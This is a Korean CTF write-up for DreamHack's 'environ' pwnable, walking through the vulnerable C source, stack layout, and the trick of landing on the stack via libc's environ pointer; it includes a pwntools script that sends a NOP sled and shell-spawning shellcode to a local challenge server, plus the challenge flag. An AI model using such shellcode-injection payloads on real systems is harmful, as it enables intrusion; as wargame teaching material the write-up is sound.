[๐Ÿฅ‰ Bronze 2] ์Šคํƒ ์ฃผ์†Œ๋ฅผ ๋ชฐ๋ผ๋„ ์ฐฉ์ง€์ ์€ ์•ˆ๋‹ค โ€” DreamHack environ ํ’€์ด

2026-08-01ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 2] ์Šคํƒ ์ฃผ์†Œ๋ฅผ ๋ชฐ๋ผ๋„ ์ฐฉ์ง€์ ์€ ์•ˆ๋‹ค โ€” DreamHack environ ํ’€์ด

์ž„์˜ ์ฃผ์†Œ 8๋ฐ”์ดํŠธ๋ฅผ ์ฝ์–ด ๊ทธ ๊ฐ’์œผ๋กœ ๊ณง์žฅ ์ ํ”„ํ•˜๋Š” ์›์‹œ(primitive)๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. ์ฃผ์†Œ๋ฅผ ์–ด๋””์—๋„ ์“ธ ์ˆ˜ ์—†์œผ๋‹ˆ "๋‚ด๊ฐ€ ์›ํ•˜๋Š” ๊ฐ’์ด ์ด๋ฏธ ๋“ค์–ด ์žˆ๋Š” ์นธ"์„ ์ฐพ์•„์•ผ ํ•˜๋Š”๋ฐ, libc ์˜ environ ์ด ํ•ญ์ƒ ์Šคํƒ์˜ envp ๋ฐฐ์—ด์„ ๊ฐ€๋ฆฌํ‚จ๋‹ค. ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์ฝ์ง€๋„ ๋ชปํ•œ ์ฑ„ ๊ฑฐ๊ธฐ๋ฅผ ์ฐฉ์ง€์ ์œผ๋กœ ์‚ผ๊ณ , read ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ๊ทธ ์ง€์ ์„ NOP ์ฐ๋งค๋กœ ๋ฏธ๋ฆฌ ๋ฎ์–ด ์…ธ์ฝ”๋“œ๊นŒ์ง€ ๋ฏธ๋„๋Ÿฌ๋œจ๋ฆฐ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” environ ๋ถ„๋ฅ˜: Pwnable ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 2 FLAG: DH{209478d89c920b8dfe2dee61f9bc1dcc}

๊ฐ™์€ ์ด๋ฆ„์˜ Silver 4 ๋ฌธ์ œ(__environ)๊ฐ€ ๋”ฐ๋กœ ์žˆ๋Š”๋ฐ, ๊ทธ์ชฝ์€ ์ž„์˜ ์ฃผ์†Œ๋ฅผ ์ฝ์–ด์„œ ๋ณด์—ฌ์ฃผ๋Š” ์˜ค๋ผํด๋กœ ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์œ ์ถœํ•˜๋Š” ์ „ํ˜•์ ์ธ environ ptr ๋ฌธ์ œ๋‹ค. ์ด Bronze 2 ๋ฌธ์ œ๋Š” ์›์‹œ๊ฐ€ ํ•œ ๋— ๋‹ค๋ฅด๋‹ค. ๊ฐ’์„ ๋ณด์—ฌ์ฃผ์ง€ ์•Š๊ณ  ๊ทธ ๊ฐ’์œผ๋กœ ๋ฐ”๋กœ ์ ํ”„ํ•œ๋‹ค.

์ฝ์–ด์„œ ๋ณด์—ฌ์ฃผ๋ฉด ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์†์— ์ฅ๊ณ  ๋‹ค์Œ ์ˆ˜๋ฅผ ๋‘˜ ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๋ณด์—ฌ์ฃผ์ง€ ์•Š๊ณ  ์ ํ”„๋งŒ ํ•ด ๋ฒ„๋ฆฌ๋ฉด, ์–ด๋””๋กœ ๋›ฐ๋Š”์ง€ ๋ชจ๋ฅด๋Š” ์ฑ„๋กœ ๊ทธ ์ž๋ฆฌ์— ๋ฏธ๋ฆฌ ์ฝ”๋“œ๋ฅผ ๊น”์•„ ๋‘ฌ์•ผ ํ•œ๋‹ค. ์ด ๊ธ€์€ ๊ทธ "๋ชจ๋ฅด๋Š” ์ฑ„๋กœ ๊น”์•„ ๋‘๊ธฐ"๋ฅผ ์–ด๋–ป๊ฒŒ ์„ฑ๋ฆฝ์‹œํ‚ค๋Š”์ง€์— ๋Œ€ํ•œ ๊ธฐ๋ก์ด๋‹ค.


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…environ (DreamHack wargame id 31)
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 2
๋ถ„๋ฅ˜Pwnable
์ œ๊ณต ํŒŒ์ผenviron (ELF x86-64), environ.c, libc.so.6
์„œ๋ฒ„๋ผ์ด๋ธŒ VM (socat TCP)
์ŠคํƒUbuntu 16.04 / glibc 2.23
๋ณดํ˜ธ ๊ธฐ๋ฒ•Partial RELRO ยท Canary ยท NX ์—†์Œ ยท No PIE
ํ•ต์‹ฌ ์ทจ์•ฝ์ ๊ธธ์ด๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ์ •ํ•˜๋Š” read ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ + ์ž„์˜ ์ฃผ์†Œ ์ฝ๊ธฐยทํ˜ธ์ถœ

๋ฐฐํฌ๋œ ํŒŒ์ผ๋ถ€ํ„ฐ ํ™•์ธํ•œ๋‹ค.

file environ && file libc.so.6 && strings -a libc.so.6 | grep "GNU C Library"
file ๊ณผ strings ๋กœ ํ™•์ธํ•œ ๋ฐฐํฌ ํŒŒ์ผ โ€” 64๋น„ํŠธ ๋™์  ๋งํฌ ์‹คํ–‰ํŒŒ์ผ๊ณผ glibc 2.23 ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ
file ๊ณผ strings ๋กœ ํ™•์ธํ•œ ๋ฐฐํฌ ํŒŒ์ผ โ€” 64๋น„ํŠธ ๋™์  ๋งํฌ ์‹คํ–‰ํŒŒ์ผ๊ณผ glibc 2.23 ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ

Ubuntu 16.04 ์‹œ์ ˆ glibc 2.23 ์ด๋‹ค. ๋ฐฐํฌ๋ณธ์— libc ๊ฐ€ ๊ฐ™์ด ์™”๋‹ค๋Š” ๊ฑด libc ์ฃผ์†Œ๋ฅผ ์“ฐ๋ผ๋Š” ๋œป์ด๊ณ , ์‹ค์ œ๋กœ ๋ฌธ์ œ๋Š” ์‹œ์ž‘ํ•˜์ž๋งˆ์ž libc ํฌ์ธํ„ฐ ํ•˜๋‚˜๋ฅผ ๋˜์ ธ ์ค€๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” environ ์ด ์™œ ํŠน๋ณ„ํ•œ๊ฐ€

environ ์€ POSIX ๊ฐ€ ์ •์˜ํ•œ ์ „์—ญ ๋ณ€์ˆ˜๋‹ค. ์„ ์–ธ์€ ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค.

extern char **environ;

ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋œฐ ๋•Œ ์ปค๋„์€ ์Šคํƒ ๋งจ ์œ„์ชฝ์— ํ”„๋กœ๊ทธ๋žจ ์ธ์ž์™€ ํ™˜๊ฒฝ๋ณ€์ˆ˜๋ฅผ ๊น”์•„ ๋‘”๋‹ค. ๋‚ฎ์€ ์ฃผ์†Œ์—์„œ ๋†’์€ ์ฃผ์†Œ ์ˆœ์œผ๋กœ ๋ณด๋ฉด argc, argv ํฌ์ธํ„ฐ ๋ฐฐ์—ด, NULL, envp ํฌ์ธํ„ฐ ๋ฐฐ์—ด, NULL, auxiliary vector, ๊ทธ๋ฆฌ๊ณ  ์‹ค์ œ ๋ฌธ์ž์—ด๋“ค์ด ์ฐจ๋ก€๋กœ ๋†“์ธ๋‹ค. ํ”„๋กœ๊ทธ๋žจ์˜ ์ฒซ rsp ๋Š” ์ด argc ๋ฅผ ๊ฐ€๋ฆฌํ‚จ๋‹ค.

glibc ๋Š” __libc_start_main ์ดˆ๊ธฐํ™” ๊ณผ์ •์—์„œ ์ด envp ๋ฐฐ์—ด์˜ ์‹œ์ž‘ ์ฃผ์†Œ๋ฅผ ์ž๊ธฐ ๋ฐ์ดํ„ฐ ์˜์—ญ์˜ environ ์นธ์— ์ €์žฅํ•ด ๋‘”๋‹ค. ๊ทธ๋ž˜์„œ getenv ๊ฐ€ ๋™์ž‘ํ•˜๊ณ , execve ๊ฐ€ ์ธ์ž ์—†์ด๋„ ํ˜„์žฌ ํ™˜๊ฒฝ์„ ๋„˜๊ธธ ์ˆ˜ ์žˆ๋‹ค.

์ต์Šคํ”Œ๋กœ์ž‡ ์ชฝ์—์„œ ์ด๊ฒŒ ๊ฐ’์ง„ ์ด์œ ๋Š” ํ•˜๋‚˜๋‹ค. libc ๋ฒ ์ด์Šค๋งŒ ์•Œ๋ฉด ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค. ASLR ์ด ์ผœ์ ธ ์žˆ์–ด๋„, PIE ๋ผ ์ฝ”๋“œ ์ฃผ์†Œ๋ฅผ ๋ชฐ๋ผ๋„, libc ํ•˜๋‚˜๋งŒ ์ƒˆ๋ฉด ์Šคํƒ๊นŒ์ง€ ๋”ฐ๋ผ์˜จ๋‹ค.

๋ฐฐํฌ๋œ libc ์—์„œ ์Šคํƒ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ์‹ฌ๋ณผ์ด ์ด๊ฒƒ ๋ง๊ณ  ๋˜ ์žˆ๋‚˜ ์ฐพ์•„๋ดค๋‹ค.

readelf --dyn-syms -W libc.so.6 | grep -iE "stack_end|environ|argv"
     9: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND _dl_argv@GLIBC_PRIVATE (26)
   283: 00000000003c6f38     8 OBJECT  WEAK   DEFAULT   34 _environ@@GLIBC_2.2.5
   966: 00000000003c6f38     8 OBJECT  WEAK   DEFAULT   34 environ@@GLIBC_2.2.5
  1297: 00000000003c6f38     8 OBJECT  GLOBAL DEFAULT   34 __environ@@GLIBC_2.2.5

environยท__environยท_environ ์€ ์ „๋ถ€ 0x3c6f38 ํ•˜๋‚˜๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋ณ„์นญ์ด๋‹ค. _dl_argv ๋Š” ld.so ์ชฝ ์‹ฌ๋ณผ์ด๋ผ libc ์•ˆ์—๋Š” ์ •์˜๊ฐ€ ์—†๊ณ (UND), __libc_stack_end ๋Š” ์ด ๋นŒ๋“œ์˜ ๋™์  ์‹ฌ๋ณผ ํ…Œ์ด๋ธ”์— ์•ˆ ๋‚˜์˜จ๋‹ค. ๋ฐฐํฌ๋ณธ์ด stripped ๋ผ ๋‚ด๋ถ€ ์‹ฌ๋ณผ๊นŒ์ง€๋Š” ๋ชป ๋ณด์ง€๋งŒ, ์ ์–ด๋„ ๊ฐ€์ ธ๋‹ค ์“ธ ์ˆ˜ ์žˆ๋Š” ๊ฒƒ ์ค‘์—๋Š” environ ๋ฟ์ด๋‹ค.

๋ณดํ†ต ์ด ๊ธฐ๋ฒ•์€ "์ฝ์–ด์„œ ์œ ์ถœ"์— ์“ด๋‹ค. ์ž„์˜ ์ฃผ์†Œ ์ฝ๊ธฐ๊ฐ€ ์žˆ์œผ๋ฉด libc + environ ์„ ์ฝ์–ด ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์–ป๊ณ , ๊ฑฐ๊ธฐ์„œ ์˜คํ”„์…‹์„ ๊ณ„์‚ฐํ•ด ๋ฆฌํ„ด ์ฃผ์†Œ ์œ„์น˜๋ฅผ ํŠน์ •ํ•œ๋‹ค. ์ด ๋ฌธ์ œ๋Š” ๊ทธ ์ฝ๊ธฐ ๊ฒฐ๊ณผ๋ฅผ ํ™”๋ฉด์— ์•ˆ ์ค€๋‹ค. ๋Œ€์‹  ๊ทธ ๊ฐ’์„ ๊ณง๋ฐ”๋กœ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋กœ ์จ์„œ ํ˜ธ์ถœํ•œ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ์œ ์ถœ์ด ์•„๋‹ˆ๋ผ ์ฐฉ์ง€์ ์œผ๋กœ ์“ฐ๋Š” ์ˆ˜๋ฐ–์— ์—†๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ

์†Œ์Šค๊ฐ€ ํ†ต์งธ๋กœ ์ฃผ์–ด์ง„๋‹ค. 42์ค„์ด ์ „๋ถ€๋‹ค.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
 
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
 
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}
 
int main()
{
    char buf[16];
    size_t size;
    long value;
    void (*jump)();
 
    initialize();
 
    printf("stdout: %p\n", stdout);
 
    printf("Size: ");
    scanf("%ld", &size);
 
    printf("Data: ");
    read(0, buf, size);
 
    printf("*jmp=");
    scanf("%ld", &value);
 
    jump = *(long *)value;
    jump();
 
    return 0;
}

๋„ค ์ค„๋งŒ ๋”ฐ๋กœ ๋–ผ์–ด ๋ณด๋ฉด ๋ฌธ์ œ๊ฐ€ ๋ญ˜ ์ฃผ๋Š”์ง€ ์ •๋ฆฌ๋œ๋‹ค.

์ฝ”๋“œ๋‚ด๊ฐ€ ์–ป๋Š” ๊ฒƒ
printf("stdout: %p\n", stdout)_IO_2_1_stdout_ ์˜ ์‹ค์ œ ์ฃผ์†Œ โ†’ libc ๋ฒ ์ด์Šค
scanf("%ld", &size)read ๊ธธ์ด๋ฅผ ๋‚ด๊ฐ€ ์ •ํ•œ๋‹ค (๊ฒ€์‚ฌ ์—†์Œ)
read(0, buf, size)buf[16] ์œ„์ชฝ์œผ๋กœ ์›ํ•˜๋Š” ๋งŒํผ ์Šคํƒ ๋ฎ์–ด์“ฐ๊ธฐ
jump = *(long *)value; jump()์ž„์˜ ์ฃผ์†Œ 8๋ฐ”์ดํŠธ ์ฝ๊ธฐ + ๊ทธ ๊ฐ’์œผ๋กœ ํ˜ธ์ถœ

stdout ์€ ๋ฐ”์ด๋„ˆ๋ฆฌ bss ์— ์žˆ๋Š” ํฌ์ธํ„ฐ ๋ณ€์ˆ˜๊ณ , ๊ทธ ์•ˆ์—๋Š” libc ์˜ _IO_2_1_stdout_ ์ฃผ์†Œ๊ฐ€ ๋“ค์–ด ์žˆ๋‹ค. %p ๋กœ ์ฐํžˆ๋Š” ๊ฑด ํฌ์ธํ„ฐ ๋ณ€์ˆ˜์˜ ์ฃผ์†Œ๊ฐ€ ์•„๋‹ˆ๋ผ ๊ทธ ๊ฐ’์ด๋‹ˆ libc ์ฃผ์†Œ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋‚˜์˜จ๋‹ค.

๋ณดํ˜ธ ๊ธฐ๋ฒ• โ€” ์Šคํƒ์ด ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜๋‹ค

readelf -lW environ | grep -E "Flg|LOAD|GNU_STACK|GNU_RELRO"
readelf ๋กœ ํ™•์ธํ•œ ํ”„๋กœ๊ทธ๋žจ ํ—ค๋” โ€” GNU_STACK ์„ธ๊ทธ๋จผํŠธ์˜ ๊ถŒํ•œ์ด RWE ๋ผ ์Šคํƒ์ด ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜๋‹ค
readelf ๋กœ ํ™•์ธํ•œ ํ”„๋กœ๊ทธ๋žจ ํ—ค๋” โ€” GNU_STACK ์„ธ๊ทธ๋จผํŠธ์˜ ๊ถŒํ•œ์ด RWE ๋ผ ์Šคํƒ์ด ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜๋‹ค

GNU_STACK ์˜ Flg ๊ฐ€ RWE ๋‹ค. ๋ง์ปค๊ฐ€ NX ๋ฅผ ๋ˆ ์ฑ„๋กœ ๋นŒ๋“œํ–ˆ๋‹ค๋Š” ๋œป์ด๊ณ , ์ปค๋„์€ ์ด ํ‘œ์‹œ๋ฅผ ๋ณด๊ณ  ์Šคํƒ ๋งคํ•‘์— ์‹คํ–‰ ๊ถŒํ•œ์„ ์ค€๋‹ค. ์Šคํƒ์— ์˜ฌ๋ฆฐ ๋ฐ”์ดํŠธ๊ฐ€ ๊ทธ๋Œ€๋กœ ์ฝ”๋“œ๊ฐ€ ๋œ๋‹ค.

LOAD ์„ธ๊ทธ๋จผํŠธ๋„ R E / RW ๋กœ ๋‚˜๋‰˜์–ด ์žˆ์–ด ์ฝ”๋“œ๋Š” 0x400000, ๋ฐ์ดํ„ฐ๋Š” 0x600000 ๋Œ€์— ๊ณ ์ •์ด๋‹ค. No PIE ๋ผ stdout ํฌ์ธํ„ฐ์˜ ์ฃผ์†Œ 0x601080 ๊ฐ™์€ ๊ฐ’์„ ์ƒ์ˆ˜๋กœ ์“ธ ์ˆ˜ ์žˆ๋‹ค.

์–ด์…ˆ๋ธ”๋ฆฌ๋กœ ์Šคํƒ ๋ฐฐ์น˜ ํ™•์ธ

์†Œ์Šค๋งŒ ๋ด์„œ๋Š” ์ง€์—ญ๋ณ€์ˆ˜๋“ค์ด ์Šคํƒ ์–ด๋””์— ๋†“์ด๋Š”์ง€ ๋ชจ๋ฅธ๋‹ค. ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฌด์—‡์„ ๋ง๊ฐ€๋œจ๋ฆฌ๋Š”์ง€ ํŒ๋‹จํ•˜๋ ค๋ฉด ์ด๊ฒŒ ํ•„์š”ํ•˜๋‹ค. ๋””์Šค์–ด์…ˆ๋ธ”์— ์ฃผ์„์„ ์–น์–ด์„œ ๋ดค๋‹ค. ์ฃผ์„์€ sed ์Šคํฌ๋ฆฝํŠธ๋กœ ๋‚ด๊ฐ€ ๋ถ™์ธ ๊ฒƒ์ด๊ณ , ๋‚˜๋จธ์ง€ ์ค„์€ objdump ์ถœ๋ ฅ ๊ทธ๋Œ€๋กœ๋‹ค.

# annotate_main.sed
s/\(mov  *rax,QWORD PTR \[rip+0x2007be\)\(.*\)/\1\2        <-- bss ์˜ stdout ํฌ์ธํ„ฐ = libc ์ฃผ์†Œ/
s/\(lea  *rax,\[rbp-0x38\]\)/\1                <-- size (rbp-0x38)/
s/\(mov  *rdx,QWORD PTR \[rbp-0x38\]\)/\1     <-- read ๊ธธ์ด = ๋‚ด๊ฐ€ ์ค€ size/
s/\(lea  *rax,\[rbp-0x20\]\)/\1                <-- buf[16] (rbp-0x20)/
s/\(lea  *rax,\[rbp-0x30\]\)/\1                <-- value (rbp-0x30)/
s/\(mov  *rax,QWORD PTR \[rax\]\)/\1           <-- jump = *(long*)value  ์ž„์˜ ์ฝ๊ธฐ/
s/\(call  *rdx\)/\1                        <-- jump()  ์ž„์˜ ํ˜ธ์ถœ/
objdump -d --no-show-raw-insn -M intel environ --start-address=0x4008bb --stop-address=0x400958 | sed -f annotate_main.sed
objdump ๋””์Šค์–ด์…ˆ๋ธ” โ€” buf ๋Š” rbp-0x20, size ๋Š” rbp-0x38, value ๋Š” rbp-0x30 ์— ๋†“์ด๊ณ  ๋งˆ์ง€๋ง‰์ด call rdx
objdump ๋””์Šค์–ด์…ˆ๋ธ” โ€” buf ๋Š” rbp-0x20, size ๋Š” rbp-0x38, value ๋Š” rbp-0x30 ์— ๋†“์ด๊ณ  ๋งˆ์ง€๋ง‰์ด call rdx

์ •๋ฆฌํ•˜๋ฉด ์ด๋ ‡๋‹ค.

์œ„์น˜๋ณ€์ˆ˜
rbp-0x38size
rbp-0x30value
rbp-0x28jump
rbp-0x20buf[16]
rbp-0x8์Šคํƒ ์นด๋‚˜๋ฆฌ

์—ฌ๊ธฐ์„œ ๋‘ ๊ฐ€์ง€๊ฐ€ ํ•œ๊บผ๋ฒˆ์— ํ’€๋ฆฐ๋‹ค.

์ฒซ์งธ, size ์™€ value ๋Š” buf ๋ณด๋‹ค ๋‚ฎ์€ ์ฃผ์†Œ์— ์žˆ๋‹ค. read ๋Š” buf ์—์„œ ์œ„์ชฝ์œผ๋กœ ์จ ๋‚˜๊ฐ€๋ฏ€๋กœ ์•„๋ฌด๋ฆฌ ๊ธธ๊ฒŒ ๋ฎ์–ด๋„ ์ด ๋‘˜์€ ์•ˆ ๋ง๊ฐ€์ง„๋‹ค. ์ฆ‰ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ๋จผ์ € ํ•ด ๋†“๊ณ  ๊ทธ ๋‹ค์Œ์— value ๋ฅผ ์ž…๋ ฅํ•ด๋„ ์ˆœ์„œ๊ฐ€ ๊ผฌ์ด์ง€ ์•Š๋Š”๋‹ค.

๋‘˜์งธ, ์นด๋‚˜๋ฆฌ๋Š” rbp-0x8 ์ด๋ผ ๋ฐ˜๋“œ์‹œ ๋ฎ์ธ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ main ์€ jump() ์•ˆ์—์„œ ์…ธ์„ ๋„์šฐ๊ณ  ๋๋‚˜๋ฏ€๋กœ ๋ฆฌํ„ด์„ ์•ˆ ํ•œ๋‹ค. ์นด๋‚˜๋ฆฌ ๊ฒ€์‚ฌ ์ฝ”๋“œ๋Š” call rdx ๋’ค์— ์žˆ์œผ๋‹ˆ ๋„๋‹ฌํ•˜์ง€ ์•Š๋Š”๋‹ค. ์นด๋‚˜๋ฆฌ๊ฐ€ ์žˆ์–ด๋„ ์—†๋Š” ๊ฒƒ๊ณผ ๊ฐ™๋‹ค.



๐Ÿ’ฃ ์›์‹œ ๋œฏ์–ด๋ณด๊ธฐ โ€” ์ฃผ์†Œ๋ฅผ ์“ธ ์ˆ˜ ์—†๋‹ค

jump = *(long *)value;
jump();

์ด ๋‘ ์ค„์„ ์ฒ˜์Œ ๋ดค์„ ๋•Œ ๋ฐ˜์‚ฌ์ ์œผ๋กœ ๋– ์˜ค๋ฅด๋Š” ๊ฑด "libc ๋ฒ ์ด์Šค ์•„๋‹ˆ๊นŒ one_gadget ์ฃผ์†Œ ๋„ฃ์œผ๋ฉด ๋˜๊ฒ ๋„ค"๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์•ˆ ๋œ๋‹ค. value ๋Š” ์ ํ”„ํ•  ์ฃผ์†Œ๊ฐ€ ์•„๋‹ˆ๋ผ ์ ํ”„ํ•  ์ฃผ์†Œ๊ฐ€ ๋“ค์–ด ์žˆ๋Š” ์นธ์˜ ์ฃผ์†Œ๋‹ค. ํ•œ ๊ฒน์ด ๋” ์žˆ๋‹ค.

๋‚ด๊ฐ€ ์›ํ•˜๋Š” ๊ฐ’์„ ์–ด๋”˜๊ฐ€์— ์“ธ ์ˆ˜ ์žˆ์œผ๋ฉด ๊ทธ ์นธ์„ ๊ฐ€๋ฆฌํ‚ค๋ฉด ๋œ๋‹ค. ํ•˜์ง€๋งŒ ์“ฐ๊ธฐ๊ฐ€ ๊ฐ€๋Šฅํ•œ ๊ณณ์€ ์Šคํƒ๋ฟ์ด๊ณ , ์Šคํƒ ์ฃผ์†Œ๋ฅผ ๋ชจ๋ฅธ๋‹ค. ๊ฒฐ๊ตญ ์ด๋ฏธ ์“ธ ๋งŒํ•œ ๊ฐ’์ด ๋“ค์–ด ์žˆ๋Š” ์นธ์„ libc ๋‚˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ ๊ณจ๋ผ์•ผ ํ•œ๋‹ค.

ํ›„๋ณด๋ฅผ ํ•˜๋‚˜์”ฉ ์žฌ ๋ดค๋‹ค.

value ํ›„๋ณด์ฝํžˆ๋Š” ๊ฐ’๊ฒฐ๊ณผ
0x601080 (bss ์˜ stdout ํฌ์ธํ„ฐ)&_IO_2_1_stdout_libc ๋ฐ์ดํ„ฐ๋กœ ์ ํ”„ โ†’ ์ฃฝ์Œ
0x601018 ๋“ฑ GOT ์—”ํŠธ๋ฆฌlibc read/printf ์ฃผ์†Œํ•จ์ˆ˜๋Š” ๋ถˆ๋ฆฌ์ง€๋งŒ ์ธ์ž๋ฅผ ๋ชป ์ •ํ•จ
libc + environ&envp[0] (์Šคํƒ)์Šคํƒ์œผ๋กœ ์ ํ”„ โ†’ ์—ฌ๊ธฐ์— ์ฝ”๋“œ๋ฅผ ๊น”๋ฉด ๋œ๋‹ค

GOT ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฉด ์‹ค์ œ๋กœ libc ํ•จ์ˆ˜๊ฐ€ ๋ถˆ๋ฆฌ๊ธด ํ•œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ call rdx ์ง์ „์— eax ๋งŒ 0์œผ๋กœ ๋งž์ถœ ๋ฟ rdi/rsi/rdx ๋Š” ์ด์ „ ํ˜ธ์ถœ์˜ ์ฐŒ๊บผ๊ธฐ๋ผ ์ธ์ž๋ฅผ ํ†ต์ œํ•  ์ˆ˜ ์—†๋‹ค. system ์€ ์• ์ดˆ์— import ๋˜์–ด ์žˆ์ง€๋„ ์•Š๋‹ค. ํ•จ์ˆ˜ ํ•˜๋‚˜๋ฅผ ์ธ์ž ์—†์ด ๋ถ€๋ฅด๋Š” ๊ฑธ๋กœ๋Š” ์…ธ์ด ์•ˆ ๋‚˜์˜จ๋‹ค.

โ–ถ๐Ÿ› ๋ง‰๋‹ค๋ฅธ ๊ธธ 1 โ€” bss ์˜ stdout ํฌ์ธํ„ฐ๋ฅผ ์ฐฉ์ง€์ ์œผ๋กœ ์จ ๋ณด๋ฉด

์ฃผ์†Œ ์ž์ฒด๋Š” ์ด๋ฏธ ์•Œ๊ณ  ์žˆ๋‹ค. 0x601080 ์„ value ๋กœ ์ฃผ๋ฉด jump ๋Š” ์ •ํ™•ํžˆ _IO_2_1_stdout_ ์˜ ์ฃผ์†Œ๊ฐ€ ๋œ๋‹ค. ์ฃผ์†Œ๋ฅผ ์•ˆ๋‹ค๋Š” ๊ฒƒ๊ณผ ๊ทธ๊ฒŒ ์ฝ”๋“œ๋ผ๋Š” ๊ฑด ๋‹ค๋ฅธ ์–˜๊ธด๋ฐ, ํ•œ ๋ฒˆ ํ™•์ธํ•˜๊ณ  ๋„˜์–ด๊ฐ€๋Š” ๊ฒŒ ๋‚ซ๋‹ค๊ณ  ๋ดค๋‹ค.

#!/usr/bin/env python3
"""
์ฐฉ์ง€์  ํ›„๋ณด ์‹คํ—˜ โ€” environ ๋ง๊ณ  "์ด๋ฏธ ์•Œ๊ณ  ์žˆ๋Š” libc ์ฃผ์†Œ"๋ฅผ ๊ทธ๋ƒฅ ์“ฐ๋ฉด ์•ˆ ๋˜๋‚˜?
 
value ์— ๋ฐ”์ด๋„ˆ๋ฆฌ bss ์˜ stdout ํฌ์ธํ„ฐ(0x601080)๋ฅผ ๋„ฃ์œผ๋ฉด
jump = *(long*)0x601080 = &_IO_2_1_stdout_ ๊ฐ€ ๋œ๋‹ค.
์ฃผ์†Œ๋Š” ์ •ํ™•ํ•˜์ง€๋งŒ ๊ทธ๊ฑด libc ์˜ ๋ฐ์ดํ„ฐ ์˜์—ญ์ด๋ผ ์‹คํ–‰ํ•  ์ฝ”๋“œ๊ฐ€ ์•„๋‹ˆ๋‹ค.
"""
from pwn import asm, context, log, remote, shellcraft
 
context.arch = "amd64"
context.log_level = "error"
 
BSS_STDOUT = 0x601080
 
p = remote("127.0.0.1", 31337)
p.recvuntil(b"stdout: ")
leak = int(p.recvline().strip(), 16)
print("[*] ์œ ์ถœํ•œ _IO_2_1_stdout_ = %#x" % leak)
 
payload = b"\x90" * 0x218 + asm(shellcraft.amd64.linux.sh())
p.sendlineafter(b"Size: ", str(len(payload)).encode())
p.sendafter(b"Data: ", payload)
print("[*] value = %#x  (bss ์˜ stdout ํฌ์ธํ„ฐ)" % BSS_STDOUT)
p.sendlineafter(b"*jmp=", str(BSS_STDOUT).encode())
 
p.sendline(b"echo SHELL_OK")
try:
    out = p.recvrepeat(2)
    print("[*] ์‘๋‹ต %d ๋ฐ”์ดํŠธ: %r" % (len(out), out[:40]))
    print("[-] ์…ธ ์—†์Œ โ€” libc ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ”๋“œ๋กœ ์‹คํ–‰ํ•˜๊ณ  ์ฃฝ์—ˆ๋‹ค")
except EOFError:
    print("[-] EOF: ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ฃฝ์—ˆ๋‹ค")
p.close()
python3 try_bss_ptr.py
try_bss_ptr.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” value ๋ฅผ 0x601080 ์œผ๋กœ ์ฃผ๋ฉด ์‘๋‹ต์ด 0๋ฐ”์ดํŠธ๊ณ  ์…ธ์ด ์•ˆ ์žกํžŒ๋‹ค
try_bss_ptr.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” value ๋ฅผ 0x601080 ์œผ๋กœ ์ฃผ๋ฉด ์‘๋‹ต์ด 0๋ฐ”์ดํŠธ๊ณ  ์…ธ์ด ์•ˆ ์žกํžŒ๋‹ค

์‘๋‹ต 0๋ฐ”์ดํŠธ. _IO_2_1_stdout_ ์€ FILE ๊ตฌ์กฐ์ฒด๋ผ ์•ž๋ถ€๋ถ„์ด ํ”Œ๋ž˜๊ทธ์™€ ๋ฒ„ํผ ํฌ์ธํ„ฐ๋“ค์ด๊ณ , ๊ทธ๊ฑธ ๋ช…๋ น์œผ๋กœ ํ•ด์„ํ•˜๋ฉด ๊ธˆ๋ฐฉ ์ฃฝ๋Š”๋‹ค. ์ฃผ์†Œ๋ฅผ ์•„๋Š” ๊ฒƒ๊ณผ ๊ฑฐ๊ธฐ์— ์ฝ”๋“œ๊ฐ€ ์žˆ๋Š” ๊ฑด ๋ณ„๊ฐœ๋ผ๋Š” ๊ฑธ ํ™•์ธํ•˜๊ณ  ๋„˜์–ด๊ฐ”๋‹ค.

